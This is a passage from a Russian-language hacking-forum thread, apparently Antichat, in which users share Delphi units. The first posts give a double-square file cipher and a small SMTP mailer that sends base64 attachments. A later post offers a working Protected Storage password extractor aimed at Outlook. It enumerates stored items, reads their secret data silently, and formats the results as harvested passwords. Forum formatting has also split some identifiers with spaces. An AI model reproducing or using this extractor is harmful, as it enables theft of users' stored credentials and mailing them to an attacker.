Полезные модули для Delphi от Joker-jar

[Joker-jar]

Накопилось немало различных модулей, вот хочу поделиться с античатом. Здесь постепенно размещу все самое интересное.

1. CryptDBSquare.pas

Модуль предназначен для шифрования методом двойного квадрата. Шифрует, дешифрует строки и файлы. Ключ представляет собой файл, содержащий 2 матрицы 16x16. Модуль имеет функцию генерирования ключа, а также сохранение и загрузки из файла. Также в файле-ключе есть возможность сохранения дополнительных данных, например, логин и срок действия ключа.

unit CryptDBSquare;

interface

uses
SysUtils;

type
LikeStr = string[20];
TTabl = array[1..16,1..16] of byte;
TArray = array[0..255] of byte;
TBuffer = array[0..4095] of byte;
TKey =
record
User, Desc: LikeStr;
KeyA, KeyB: TTabl
end;
IPos =
record
horpos, verpos: 1..16
end;
KeyFile = file of TKey;

function Crypt(InputStr: string; Key: TKey): string;
procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
function GetDescFromKey(Key: TKey): LikeStr;
function GetIPos(Tabl: TTabl; It: byte): IPos;
function GetUserNameFromKey(Key: TKey): LikeStr;
function GenerateKey(UserName, Desc: LikeStr): TKey;
procedure LoadKey(var Key: TKey; FileName: string);
procedure SaveKey(Key: TKey; FileName: string);
function UnCrypt(InputStr: string; Key: TKey): string;
procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);

implementation

const
K1 = 64;
K2 = 28;
K3 = 16;
K4 = 13;

function GetIPos(Tabl: TTabl; It: byte): IPos;
var
i,k: byte;
begin
for i:=1 to 16 do
for k:=1 to 16 do
if Tabl[i,k]=It then
begin
result.horpos := i;
result.verpos := k;
break;
end;
end;

procedure FillArray(var A: Tarray);
var
i, s, r: integer;
begin
randomize;
for i := 0 to 31 do
A[i]:=i;
for i := 32 to 255 do A[i] := i;
for i := 255 downto 32 do
begin
r := Random(i-32)+32;
S := A[r]; A[r] := A[i]; A[i] := s;
end;
end;

function GenerateKey(UserName, Desc: LikeStr): TKey;
var
TempKey: TKey;
BufTab: TArray;
a,i,k: byte;
begin
FillArray(BufTab);
for i:=1 to 16 do
for k:=1 to 16 do
result.KeyA[i,k]:=BufTab[(16*(i-1))+k-1];
FillArray(BufTab);
for i:=1 to 16 do
for k:=1 to 16 do
result.KeyB[i,k]:=BufTab[(16*(i-1))+k-1];
TempKey := result;
result.User := Crypt(UserName, TempKey);
result.Desc := Crypt(Desc, TempKey);
end;

function GetUserNameFromKey(Key: TKey): LikeStr;
begin
result := UnCrypt(Key.User, Key);
end;

function GetDescFromKey(Key: TKey): LikeStr;
begin
result := UnCrypt(Key.Desc, Key);
end;

function CryptSimText(InputStr: string; Key: TKey): string;
var
i: integer;
Temp: string;
p1,p2:IPos;
begin
result:='';
Temp:=InputStr;
while Temp<>'' do
begin
p1:=GetIPos(Key.KeyA,ord(Temp[1]));
p2:=GetIPos(Key.KeyB,ord(Temp[2]));
if p1.horpos = p2.horpos then
begin
result:=result+chr(Key.KeyB[p1.horpos,p1.verpos]);
result:=result+chr(Key.KeyA[p2.horpos,p2.verpos]);
delete(temp,1,2);
end
else
begin
result:=result+chr(Key.KeyB[p1.horpos,p2.verpos]);
result:=result+chr(Key.KeyA[p2.horpos,p1.verpos]);
delete(temp,1,2);
end;
end;
end;

function Crypt(InputStr: string; Key: TKey): string;
var
a: string;
begin
if not odd(length(InputStr)) then
result:=CryptSimText(InputStr,Key)
else
begin
a:=copy(InputStr,length(InputStr),1);
delete(InputStr,length(InputStr),1);
result:=CryptSimText(InputStr,Key)+a;
end;
end;

function CryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
var
i: integer;
Temp: TBuffer;
p1,p2:IPos;
begin
Temp:=Buf;
for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
begin
p1:=GetIPos(Key.KeyA,Temp[i]);
p2:=GetIPos(Key.KeyB,Temp[i+1]);
if p1.horpos = p2.horpos then
begin
result[i]:=Key.KeyB[p1.horpos,p1.verpos];
result[i+1]:=Key.KeyA[p2.horpos,p2.verpos];
end
else
begin
result[i]:=Key.KeyB[p1.horpos,p2.verpos];
result[i+1]:=Key.KeyA[p2.horpos,p1.verpos];
end;
end;
end;


procedure CryptFile(InputFileName, OutputFileName: string; Key: TKey);
var
FromF, ToF: file;
NumRead, NumWritten, i: Integer;
Buf: TBuffer;
TempStr: string;
begin
AssignFile(FromF, InputFileName);
Reset(FromF, 1);
AssignFile(ToF, OutputFileName);
Rewrite(ToF, 1);
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
Buf := CryptBlockOfBytes(Buf, Key);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until
(NumRead = 0) or (NumWritten <> NumRead);
CloseFile(FromF);
CloseFile(ToF);
end;

function UnCryptSimText(InputStr: string; Key: TKey): string;
var
i: integer;
Temp: string;
p1,p2:IPos;
begin
result:='';
Temp:=InputStr;
while Temp<>'' do
begin
p1:=GetIPos(Key.KeyB,ord(Temp[1]));
p2:=GetIPos(Key.KeyA,ord(Temp[2]));
if p1.horpos = p2.horpos then
begin
result:=result+chr(Key.KeyA[p1.horpos,p1.verpos]);
result:=result+chr(Key.KeyB[p2.horpos,p2.verpos]);
delete(temp,1,2);
end
else
begin
result:=result+chr(Key.KeyA[p1.horpos,p2.verpos]);
result:=result+chr(Key.KeyB[p2.horpos,p1.verpos]);
delete(temp,1,2);
end;
end;
end;

function UnCrypt(InputStr: string; Key: TKey): string;
var
a: string;
begin
if not odd(length(InputStr)) then
result:=UnCryptSimText(InputStr,Key)
else
begin
a:=copy(InputStr,length(InputStr),1);
delete(InputStr,length(InputStr),1);
result:=UnCryptSimText(InputStr,Key)+a;
end;
end;

function UnCryptBlockOfBytes(Buf: TBuffer; Key: TKey): TBuffer;
var
i: integer;
Temp: TBuffer;
p1,p2:IPos;
begin
Temp:=Buf;
for i:=0 to SizeOf(Temp) - 1 do if (i)mod(2)=0 then
begin
p1:=GetIPos(Key.KeyB,Temp[i]);
p2:=GetIPos(Key.KeyA,Temp[i+1]);
if p1.horpos = p2.horpos then
begin
result[i]:=Key.KeyA[p1.horpos,p1.verpos];
result[i+1]:=Key.KeyB[p2.horpos,p2.verpos];
end
else
begin
result[i]:=Key.KeyA[p1.horpos,p2.verpos];
result[i+1]:=Key.KeyB[p2.horpos,p1.verpos];
end;
end;
end;

procedure UnCryptFile(InputFileName, OutputFileName: string; Key: TKey);
var
FromF, ToF: file;
NumRead, NumWritten, i: Integer;
Buf: TBuffer;
TempStr: string;
begin
AssignFile(FromF, InputFileName);
Reset(FromF, 1);
AssignFile(ToF, OutputFileName);
Rewrite(ToF, 1);
repeat
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
Buf := UnCryptBlockOfBytes(Buf, Key);
BlockWrite(ToF, Buf, NumRead, NumWritten);
until
(NumRead = 0) or (NumWritten <> NumRead);
CloseFile(FromF);
CloseFile(ToF);
end;

procedure SaveKey(Key: TKey; FileName: string);
var
KF: KeyFile;
begin
assignfile(KF,FileName);
rewrite(KF);
write(KF,Key);
closefile(KF);
end;

procedure LoadKey(var Key: TKey; FileName: string);
var
KF: KeyFile;
begin
assignfile(KF,FileName);
reset(KF);
read(KF,Key);
closefile(KF);
end;

end.

1. smtp.pas

Модуль для тех, кто любит писать программульки с помощью KOL. Отправляет письма с html-форматированием и файловыми атачами. Получается очень маленький размер exe. В принципе, за пару минут модуль можно подогнать и под чистый API.

unit SMTP;

{************************************************* ******}
{ SMTP - Модуль для Delphi+KOL }
{ Version: 1.0 }
{ E-Mail: joker-jar@kbrdhook.com }
{ Created: October 08, 2006 }
{ Legal: Copyright (c) 2006, Joker-jar }
{************************************************* ******}
{ ТИПЫ: }
{ TLetter - струтура письма }
{ NeedAuth - нужна ли аутентификация }
{ mHost - адрес сервера SMTP }
{ uName, uPass - имя пользователя, пароль }
{ mFromName, mFrom - имя, адрес отправителя }
{ mToName, mTo - имя, адрес получателя }
{ Subject - тема письма }
{ mBody - тело письма }
{************************************************* ******}
{ КОНСТАНТЫ: }
{ TimeOut - Максимальное время ожидания ответа от }
{ сервера }
{ }
{ Bound - Разделитель блоков в теле письма }
{ }
{ MIME - Заголовок MIME }
{************************************************* ******}
{ ПРОЦЕДУРЫ: }
{ OpenMIME - Устанавливает в начало тела письма }
{ MIME заголовок. Вызывается один раз }
{ при заполнении тела письма. }
{ }
{ CloseMIME - Устанавливает в конец тела письма }
{ метку об окончании MIME. Вызывается }
{ один раз по завершению заполнения }
{ тела письма. }
{ }
{ AddHTMLBlockToBody - Добавляет HTML блок к телу }
{ письма. Прежде чем }
{ использовать, убедитесь, }
{ что инициализирован MIME }
{ командой OpenMIME в начале }
{ тела письма. }
{ }
{ AttachFileToBody - Прикрепляет произвольный файл }
{ к телу письма. Прежде чем }
{ использовать, убедитесь, что }
{ инициализирован MIME командой }
{ OpenMIME в начале тела письма. }
{ }
{ }
{ SMTPConnectAndSendMail - Процедура отправляет }
{ письмо и выводит ответы }
{ сервера в Memo, }
{ переданное как OutServAns }
{ (Можно в качестве }
{ OutServAns передать nil) }
{************************************************* ******}

interface

uses
KOL, Windows, Winsock;

type
Tarray = array of string;
TLetter =
record
NeedAuth: boolean;
mHost, uName, uPass, mFrom,
mTo, mFromName, mToName, Subject: string;
mBody: Tarray;
end;

const
TimeOut = 1000;
Bound = 'ENDBLOCK';
MIME = 'MIME-Version:1.0';

procedure OpenMIME(var mBody: TArray);
procedure CloseMIME(var mBody: TArray);
procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
procedure AttachFileToBody(var mBody: TArray; Filename: string);
procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);

implementation

type
TAByte = array [0..maxInt-1] of byte;
TPAByte = ^TAByte;

const
CtrlF = #13#10;

var
WSA:TWSAData;
MailSocket:TSocket;
SMTPServer:TSockAddr;

function MyInc(var i:integer): integer;
begin
inc(i);
result := i;
end;

function GetComputerNetName: string;
var
buffer: array[0..255] of char;
size: dword;
begin
size := 256;
if GetComputerName(buffer, size) then
Result := buffer
else
Result := ''
end;

function B64Encode(data:string) : string; overload;
const
b64 : array [0..63] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw xyz0123456789+/';
var
ic,len : integer;
pi, po : TPAByte;
c1 : dword;
begin
len:=length(data);
if len > 0 then
begin
SetLength(result, ((len + 2) div 3) * 4);
pi := pointer(data);
po := pointer(result);
for ic := 1 to len div 3 do
begin
c1 := pi^[0] shl 16 + pi^[1] shl 8 + pi^[2];
po^[0] := byte(b64[(c1 shr 18) and $3f]);
po^[1] := byte(b64[(c1 shr 12) and $3f]);
po^[2] := byte(b64[(c1 shr 6) and $3f]);
po^[3] := byte(b64[(c1 ) and $3f]);
inc(dword(po), 4);
inc(dword(pi), 3);
end;
case len mod 3 of
1:
begin
c1 := pi^[0] shl 16;
po^[0] := byte(b64[(c1 shr 18) and $3f]);
po^[1] := byte(b64[(c1 shr 12) and $3f]);
po^[2] := byte('=');
po^[3] := byte('=');
end;
2 :
begin
c1 := pi^[0] shl 16 + pi^[1] shl 8;
po^[0] := byte(b64[(c1 shr 18) and $3f]);
po^[1] := byte(b64[(c1 shr 12) and $3f]);
po^[2] := byte(b64[(c1 shr 6) and $3f]);
po^[3] := byte('=');
end;
end;
end
else
result := '';
end;

function LookupName(host: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(host));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;

function SMTPRecvReply(MailSocket:TSocket):string;
var
t: integer;
Buffer:Array[0..255] of char;
begin
ZeroMemory(@Buffer,256);
t:=GetTickCount;
repeat
until
(Recv(MailSocket,Buffer,SizeOf(Buffer),0)>0)or(GetTickCount - t >= TimeOut);
result := buffer+CTRLF;
end;

procedure SMTPSendString(MailSocket:TSocket;Str:string);
var
Buffer:Array[0..255] of char;
begin
StrPCopy(Buffer,Str);
Send(MailSocket,Buffer,length(Str),0);
end;

procedure SendComandAndWaitAnswer(MailSocket: TSocket;OutServAns: Pcontrol;Str: string);
begin
SMTPSendString(MailSocket,Str);
if Assigned(OutServAns) then
begin
OutServAns.Add(SMTPRecvReply(MailSocket));
OutServAns.Perform($0115, SB_BOTTOM,0);
end;
end;

procedure AddstringToBody(var mBody: Tarray; str: String);
var
m: integer;
begin
m := high(mBody);
setlength(mBody,m+2);
mBody[m+1]:=str;
end;

procedure OpenMIME(var mBody: TArray);
var
i: integer;
begin
i:=0;
setlength(mBody, 3);
mBody[i] := MIME;
mBody[myinc(i)] := 'Content-Type: multipart/mixed; boundary="'+Bound+'"';
mBody[myinc(i)] := '--'+Bound;
end;

procedure CloseMIME(var mBody: TArray);
begin
mBody[High(mBody)] := mBody[High(mBody)]+'--';
end;


procedure AddHTMLBlockToBody(var mBody: TArray; HTMLText: string);
begin
AddstringToBody(mBody,'Content-Type: text/html; charset=Windows-1251');
AddstringToBody(mBody,'Content-Transfer-Encoding: 8bit');
AddstringToBody(mBody, '');
AddstringToBody(mBody, HTMLtext);
AddstringToBody(mBody,'--'+Bound);
end;

procedure AttachFileToBody(var mBody: TArray; Filename: string);
var
k: integer;
c: byte;
tempStr: string;
F: file of byte;
begin
if (not fileexists(filename))or(filesize(filename)=0) then
exit;
AddstringToBody(mBody,'Content-Type: application/octet-stream; name="'+ExtractFileName(FileName)+'"');
AddstringToBody(mBody,'Content-Disposition: attachment; filename="'+ExtractFileName(FileName)+'"');
AddstringToBody(mBody,'Content-Transfer-Encoding: base64');
AddstringToBody(mBody,'');
k:=0;
AssignFile(F, FileName);
Reset(F);
repeat
inc(k);
Read(F, c);
tempstr:=tempstr+chr(c);
if k mod 38 = 0 then
begin
AddstringToBody(mBody, b64encode(tempstr));
tempstr:='';
end;
until
(eof(F));
CloseFile(F);
AddstringToBody(mBody, b64encode(tempstr));
AddstringToBody(mBody,'--'+Bound);
end;

procedure SMTPConnectAndSendMail(Letter: TLetter; OutServAns: Pcontrol);
var
i: integer;
begin
WSAStartup(MAKEWORD(1,0),WSA);
MailSocket:=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP );
ZeroMemory(@SMTPServer,SizeOf(SMTPServer));
SMTPServer.sin_family:=AF_INET;
SMTPServer.sin_port:=htons(25);
SMTPServer.sin_addr:=LookupName(Letter.mHost);
if Connect(MailSocket,SMTPServer,SizeOf(SMTPServer))= 0 then
begin
SendComandAndWaitAnswer(mailsocket, OutServAns, 'HELO '+ GetComputerNetName + CTRLF);
if Letter.NeedAuth then
SendComandAndWaitAnswer(mailsocket, OutServAns, 'AUTH LOGIN ' + CTRLF + b64encode(Letter.uName) + CTRLF + b64encode(Letter.uPass) + CTRLF);
SendComandAndWaitAnswer(mailsocket, OutServAns, 'MAIL FROM:' + Letter.mFrom + CTRLF + 'RCPT TO:' + Letter.mTo + CTRLF);
SendComandAndWaitAnswer(mailsocket, OutServAns, 'DATA' + CTRLF + 'From: "' + Letter.mFromName + '" <' + Letter.mFrom + '>' + CTRLF + 'To: "' + Letter.mToName + '" <' + Letter.mTo + '>' + CTRLF + 'Subject: ' + Letter.Subject + CTRLF);
for i:=0 to high(Letter.mBody) do
SMTPSendString(mailsocket,Letter.mBody[i]+CTRLF);
SendComandAndWaitAnswer(mailsocket, OutServAns, CTRLF+'.'+CTRLF+CTRLF+'QUIT');
end
else
if Assigned(OutServAns) then
OutServAns.Add('Unable to connect to '+Letter.mHost);
CloseSocket(MailSocket);
WSACleanup;
end;

end.

Если кому-то что-то непонятно, пишите. Покажу на примерах.

[Knight_of_Darkness]

В свою очередь делюсь: модуль для извлечения паролей из Protected Storage И файл интерфейсов к нему:



unit PStorageIntfs;


{$TYPEDADDRESS OFF}

{$WRITEABLECONST ON}

interface

const

PSTORECLibMajorVersion = 1;
PSTORECLibMinorVersion = 0;

LIBID_PSTORECLib: TGUID = '{5A6F1EBD-2DB1-11D0-8C39-00C04FD9126B}';

IID_IEnumPStoreProviders: TGUID = '{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}';
IID_IPStore: TGUID = '{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}';
IID_IEnumPStoreTypes: TGUID = '{789C1CBF-31EE-11D0-8C39-00C04FD9126B}';
IID_IEnumPStoreItems: TGUID = '{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}';
type

PStorageItem = ^TStorageItem;
TStorageItem = record
T: BYTE;
pType: TGUID;
pSubtype: TGUID;
pItem: ShortString;
end;

PStorageSubtype = ^TStorageSubtype;
TStorageSubtype = record
T: BYTE;
pType: TGUID;
pSubtype: TGUID;
end;

PStorageType = ^TStorageType;
TStorageType = record
T: BYTE;
pType: TGUID;
end;

PProviderInfo = ^TProviderInfo;
TProviderInfo = record
GUID: TGUID;
Capabilities: LongWord;
ProviderName: ShortString;
end;

IEnumPStoreProviders = interface;
IPStore = interface;
IEnumPStoreTypes = interface;
IEnumPStoreItems = interface;


CPStore = IEnumPStoreProviders;
CEnumTypes = IEnumPStoreTypes;
CEnumItems = IEnumPStoreItems;


PUserType1 = ^_PST_PROVIDERINFO; {*}
PByte1 = ^Byte; {*}
PUserType2 = ^TGUID; {*}
PUserType3 = ^_PST_TYPEINFO; {*}
PUserType4 = ^_PST_ACCESSRULESET; {*}
PPUserType1 = ^IEnumPStoreTypes; {*}
PUserType5 = ^_PST_PROMPTINFO; {*}
PPUserType2 = ^IEnumPStoreItems; {*}

_PST_PROVIDERINFO = packed record
cbSize: LongWord;
ID: TGUID;
Capabilities: LongWord;
szProviderName: PWideChar;
end;

_PST_TYPEINFO = packed record
cbSize: LongWord;
szDisplayName: PWideChar;
end;

_PST_ACCESSCLAUSE = packed record
cbSize: LongWord;
ClauseType: LongWord;
cbClauseData: LongWord;
pbClauseData: ^Byte;
end;

_PST_ACCESSRULE = packed record
cbSize: LongWord;
AccessModeFlags: LongWord;
cClauses: LongWord;
rgClauses: ^_PST_ACCESSCLAUSE;
end;

_PST_ACCESSRULESET = packed record
cbSize: LongWord;
cRules: LongWord;
rgRules: ^_PST_ACCESSRULE;
end;

_PST_PROMPTINFO = packed record
cbSize: LongWord;
dwPromptFlags: LongWord;
hwndApp: LongWord;
szPrompt: PWideChar;
end;


IEnumPStoreProviders = interface(IUnknown)
['{5A6F1EBF-2DB1-11D0-8C39-00C04FD9126B}']
function Next(celt: LongWord; out rgelt: PUserType1; var pceltFetched: LongWord): HResult; stdcall;
function Skip(celt: LongWord): HResult; stdcall;
function Reset: HResult; stdcall;
function Clone(out ppenum: IEnumPStoreProviders): HResult; stdcall;
end;


IPStore = interface(IUnknown)
['{5A6F1EC0-2DB1-11D0-8C39-00C04FD9126B}']
function GetInfo(out ppProperties: PUserType1): HResult; stdcall;
function GetProvParam(dwParam: LongWord; out pcbData: LongWord; out ppbData: PByte1;
dwFlags: LongWord): HResult; stdcall;
function SetProvParam(dwParam: LongWord; cbData: LongWord; var pbData: Byte; dwFlags: LongWord): HResult; stdcall;
function CreateType(Key: LongWord; var pType: TGUID; var pInfo: _PST_TYPEINFO;
dwFlags: LongWord): HResult; stdcall;
function GetTypeInfo(Key: LongWord; var pType: TGUID; out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall;
function DeleteType(Key: LongWord; var pType: TGUID; dwFlags: LongWord): HResult; stdcall;
function CreateSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
var pInfo: _PST_TYPEINFO; var pRules: _PST_ACCESSRULESET;
dwFlags: LongWord): HResult; stdcall;
function GetSubtypeInfo(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
out ppInfo: PUserType3; dwFlags: LongWord): HResult; stdcall;
function DeleteSubtype(Key: LongWord; var pType: TGUID; var pSubtype: TGUID; dwFlags: LongWord): HResult; stdcall;
function ReadAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
out ppRules: PUserType4; dwFlags: LongWord): HResult; stdcall;
function WriteAccessRuleset(Key: LongWord; var pType: TGUID; var pSubtype: TGUID;
var pRules: _PST_ACCESSRULESET; dwFlags: LongWord): HResult; stdcall;
function EnumTypes(Key: LongWord; dwFlags: LongWord; var ppenum: IEnumPStoreTypes): HResult; stdcall;
function EnumSubtypes(Key: LongWord; var pType: TGUID; dwFlags: LongWord;
var ppenum: IEnumPStoreTypes): HResult; stdcall;
function DeleteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
szItemName: PWideChar; var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall;
function ReadItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
szItemName: PWideChar; out pcbData: LongWord; out ppbData: Pointer;
var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall;
function WriteItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
szItemName: PWideChar; cbData: LongWord; var pbData: Byte;
var pPromptInfo: _PST_PROMPTINFO; dwDefaultConfirmationStyle: LongWord;
dwFlags: LongWord): HResult; stdcall;
function OpenItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
szItemName: PWideChar; ModeFlags: LongWord;
var pPromptInfo: _PST_PROMPTINFO; dwFlags: LongWord): HResult; stdcall;
function CloseItem(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
szItemName: PWideChar; dwFlags: LongWord): HResult; stdcall;
function EnumItems(Key: LongWord; var pItemType: TGUID; var pItemSubtype: TGUID;
dwFlags: LongWord; var ppenum: IEnumPStoreItems): HResult; stdcall;
end;


IEnumPStoreTypes = interface(IUnknown)
['{789C1CBF-31EE-11D0-8C39-00C04FD9126B}']
function Next(celt: LongWord; out rgelt: TGUID; var pceltFetched: LongWord): HResult; stdcall;
function Skip(celt: LongWord): HResult; stdcall;
function Reset: HResult; stdcall;
function Clone(out ppenum: IEnumPStoreTypes): HResult; stdcall;
end;

IEnumPStoreItems = interface(IUnknown)
['{5A6F1EC1-2DB1-11D0-8C39-00C04FD9126B}']
function Next(celt: LongWord; out rgelt: PWideChar; var pceltFetched: LongWord): HResult; stdcall;
function Skip(celt: LongWord): HResult; stdcall;
function Reset: HResult; stdcall;
function Clone(out ppenum: IEnumPStoreItems): HResult; stdcall;
end;

implementation

end.




unit OutlookDecrypt;

interface

uses
Windows,
PStorageIntfs;//заголовочный файл

function GetOutlookPass: string;

implementation

type
PTChar = ^Char;
TMyGUID = array of TGUID;
TPStoreCreateInstance = function(var ppProvider: IPStore; pProviderID: PGUID; pReserved: Pointer; dwFlags: DWORD): HRESULT; stdcall;
var
FLibrary: THandle;
PStoreCreateInstance: TPStoreCreateInstance;
FProvider: IPStore;
Pass: string;

procedure CoTaskMemFree(pv: Pointer); stdcall; external 'ole32.dll' name 'CoTaskMemFree';
function StringFromCLSID(const clsid: TGUID; out psz: PWideChar): HResult; stdcall; external 'ole32.dll' name 'StringFromCLSID';

function PStorageConnect: Boolean;// Соединяемся с хранилищем
begin
Result := False;
if (PStoreCreateInstance(FProvider, nil, nil, 0) <> S_OK) or (FProvider = nil) then
begin
FProvider := nil;
Exit;
end;
Result := True;
end;

function InitLib: boolean;//Пытаемся загрузить функцию
begin
result:=false;
FLibrary := LoadLibrary('pstorec.dll');
if FLibrary = 0 then Exit;
PStoreCreateInstance := GetProcAddress(FLibrary, 'PStoreCreateInstance');
if @PStoreCreateInstance = nil then
begin
FreeLibrary(FLibrary);
exit;
end;
result:=true;
end;

function PStorageGetProviderInfo: TProviderInfo;
var
ppInfo: PUserType1;
begin
if FProvider.GetInfo(ppInfo) = S_OK then
begin
Result.GUID := ppInfo.ID;
Result.Capabilities := ppInfo.Capabilities;
Result.ProviderName := String(ppInfo.szProviderName);
end;
end;

function PStorageGetTypeName(pGUID: TGUID): String;
var
pst: PUserType3;
begin
pst := nil;
if (FProvider.GetTypeInfo(0, pGUID, pst, 0) = S_OK) and (pst <> nil) then
begin
Result := String(pst^.szDisplayName);
CoTaskMemFree(pst);
end;
end;

function PStorageGetSubtypeName(pType, pSubtype: TGUID): String;
var
pst: PUserType3;
begin
pst := nil;
if (FProvider.GetSubtypeInfo(0, pType, pSubType, pst, 0) = S_OK) and (pst <> nil) then
begin
Result := String(pst^.szDisplayName);
CoTaskMemFree(pst);
end;
end;

function FillPromptInfoStruct: _PST_PROMPTINFO;
begin
Result.cbSize := SizeOf(_PST_PROMPTINFO);
Result.dwPromptFlags := 4;
Result.hwndApp := 0;
Result.szPrompt := '';
end;

function PStorageReadItemData(pType, pSubtype: TGUID; pItem: ShortString; var Data: Pointer; var DataLen: LongWord): Boolean;
var
pspi: _PST_PROMPTINFO;
begin
pspi := FillPromptInfoStruct;
DataLen := 0;
Data := nil;
Result := FProvider.ReadItem(0, pType, pSubtype, StringToOleStr(pItem), DataLen, Data, pspi, 0) = S_OK;
end;

function DumpData(Buffer: Pointer; BufLen: DWord): String;
var
i, j, c: Integer;
begin
c := 0;
Result := '';
for i := 1 to BufLen div 16 do
begin
for j := c to c + 15 do
if (PByte(Integer(Buffer) + j)^ < $20) or (PByte(Integer(Buffer) + j)^ > $7F) then
Result := Result + '.'
else
Result := Result + PTChar(Integer(Buffer) + j)^;
c := c + 16;
// Result := Result + #13#10;
end;
if BufLen mod 16 <> 0 then
for i := BufLen mod 16 downto 1 do
if (PByte(Integer(Buffer) + Integer(BufLen) - i)^ < $20) or (PByte(Integer(Buffer) + Integer(BufLen) - i)^ > $7F) then
// Result := Result + '.'
else
Result := Result + PTChar(Integer(Buffer) + Integer(BufLen) - i)^;
end;

function GUIDToString(const GUID: TGUID): string;
var
P: PWideChar;
begin
if not Succeeded(StringFromCLSID(GUID, P)) then exit;
Result := P;
CoTaskMemFree(P);
end;

procedure ReadValue(Caption:string; flag: byte; pType, pSubType: TGUID);
var
Mem: Pointer;
MemLen: Cardinal;
// i:integer;
begin
case flag of
{ 0: //ветвь
pass:=pass+#13#10+Caption+': ' + GUIDToString(pType)+#13#10;
1: //подветвь
pass:=pass+Caption+': ' + GUIDToString(pSubType)+#13#10;}
2: //значения
begin
if PStorageReadItemData(pType, pSubtype, Caption, Mem, MemLen) and (Mem <> nil) then
begin
Caption[length(Caption)-7]:=#0;
Caption:=PChar(Caption);
pass:=pass+'Data('+Caption+'):Pass('+DumpData(Mem, MemLen)+'); '; //hex->ASCII
CoTaskMemFree(Mem);
end;// else
// pass:=pass+'Coult not read item data'+#13#10;
end;
end;
end;

procedure ExpandPSProvider;
var
ppEnum: IEnumPStoreTypes;
ppEnumItems: IEnumPStoreItems;
GUIDBuf: array[0..15] of TGUID;
ItemBuf: array[0..15] of PWideChar;
ItemsRead: Cardinal;

TypesList: TMyGUID;
SubtypesList: TMyGUID;
ItemsList: array of string;

i3, i2, i, j, k: Integer;
pType: PStorageType;
pSubtype: PStorageSubType;
pItem: PStorageItem;
begin
//получаем корень
// pass:='Connected to ' + PStorageGetProviderInfo.ProviderName + '...'#13#10;
//Загоняем в TypesList интерфейс главных ветвей
ppEnum := nil;
if (FProvider.EnumTypes(0, 0, ppEnum) <> S_OK) or (ppEnum = nil) then
begin
Exit;
ppEnum := nil;
end;
ItemsRead := 0;
repeat
ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead);
if ItemsRead > 0 then
begin
SetLength(TypesList,ItemsRead);
for i := 0 to ItemsRead-1 do TypesList[i]:=GUIDBuf[i];
end;
until ItemsRead = 0;
ppEnum := nil;
//Считываем значения главных ветвей
for i := 0 to high(TypesList) do
begin
New(pType);
pType.T := 0;
pType.pType := TypesList[i];
ReadValue(PStorageGetTypeName(TypesList[i]), 0, pType.pType, pType.pType);
//Забираем из главных ветвей подветви в SubTypesList
ppEnum := nil;
if (FProvider.EnumSubTypes(0, pType.pType, 0, ppEnum) <> S_OK) or (ppEnum = nil) then
begin
Exit;
ppEnum := nil;
end;
ItemsRead := 0;
repeat
ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead);
if ItemsRead > 0 then
begin
SetLength(SubTypesList,ItemsRead);
for i2 := 0 to ItemsRead-1 do SubtypesList[i2]:=GUIDBuf[i2];
end;
until ItemsRead = 0;
ppEnum := nil;
//Считываем значения подветвей
for j := 0 to high(SubtypesList) do
begin
New(pSubtype);
pSubtype.T := 1;
pSubtype.pType := pType.pType;
pSubtype.pSubtype := SubTypesList[j];
ReadValue(PStorageGetSubtypeName(pType.pType,pSubt ype.pSubtype), 1, pType.pType, pSubtype.pSubtype);
//Забираем значения подветвей в ItemsList
ppEnumItems := nil;
if (FProvider.EnumItems(0, pType.pType, pSubtype.pSubtype, 0, ppEnumItems) <> S_OK) or (ppEnumItems = nil) then
begin
Exit;
ppEnumItems := nil;
end;
ItemsRead := 0;
repeat
ppEnumItems.Next(SizeOf(ItemBuf) div SizeOf(ItemBuf[0]), ItemBuf[0], ItemsRead);
if ItemsRead > 0 then
begin
SetLength(ItemsList,ItemsRead);
for i3 := 0 to ItemsRead-1 do
begin
ItemsList[i3]:=String(ItemBuf[i3]);
CoTaskMemFree(ItemBuf[i3]);
end;
end;
until ItemsRead = 0;
ppEnumItems := nil;
//Считываем то, ради чего всё и затеяли
for k := 0 to high(ItemsList) do
begin
New(pItem);
pItem.T := 2;
pItem.pType := pType.pType;
pItem.pSubtype := pSubtype.pSubtype;
pItem.pItem := ItemsList[k];
ReadValue(pItem.pItem, 2, pType.pType, pSubtype.pSubtype);
end;
end;
end;
end;

function GetOutlookPass: string;
begin
